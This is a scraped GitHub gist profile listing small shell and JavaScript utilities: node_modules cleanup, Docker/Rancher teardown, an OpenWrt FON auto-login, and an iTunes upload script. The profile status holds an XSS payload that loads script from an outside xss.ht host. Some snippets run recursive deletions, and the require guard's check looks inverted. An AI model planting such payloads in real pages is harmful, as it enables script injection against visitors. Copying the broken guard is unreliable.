Skip to content

Instantly share code, notes, and snippets.

View cusspvz's full-sized avatar
🎯
"><script src=//cusspvz.xss.ht />

José Moreira cusspvz

🎯
"><script src=//cusspvz.xss.ht />
View GitHub Profile
@cusspvz
cusspvz / clean-node-modules.sh
Last active April 10, 2023 11:45
Delete all node_modules folders RECURSIVELY
#!/bin/bash
# this command finds all the `node_modules` folders under your current path and will prune them
find . | grep /node_modules$ | grep -v /node_modules/ | xargs rm -fR
@cusspvz
cusspvz / index.js
Created November 14, 2016 15:09
require-by-kind
const PREFIX = 'synaptic'
const NpmRegExp = /^@?[a-z0-9\-]*([a-z0-9\-])?$/
export default function requireByKind ( kind, given ) {
// Avoid access to specific files by restricting the `given`
if ( given.match( NpmRegExp ) ) {
throw new Error( `only alphanumeric names are valid` )
}
@cusspvz
cusspvz / 99-login-fon
Last active September 11, 2021 00:58
FON ZON / NOS auto-login bash script wget portugal non-wispr client openwrt
#!/bin/sh
# place this file at: /etc/hotplug.d/iface/99-login-fon
# Configurations
FON_USERNAME=email%40domain.com
FON_PASSWORD=123456
FON_DELAY_UP=3
COOKIE_JAR_PATH=/tmp/nos-fon-cookie-jar.$INTERFACE
. /lib/functions.sh
@cusspvz
cusspvz / unregister-rancher-agent.sh
Created October 21, 2015 15:10
unregister rancher-agent
#!/bin/bash
sudo docker stop $(sudo docker ps -q);
sudo docker rm $(sudo docker ps -a -q);
sudo rm -fR /var/lib/rancher/
#!/bin/bash
set -ex
# This scripts allows you to upload a binary to the iTunes Connect Store and do it for a specific app_id
# Because when you have multiple apps in status for download, xcodebuild upload will complain that multiple apps are in wait status
# Requires application loader to be installed
# See https://developer.apple.com/library/ios/documentation/LanguagesUtilities/Conceptual/iTunesConnect_Guide/Chapters/SubmittingTheApp.html
# Itunes Connect username & password
USER=changeme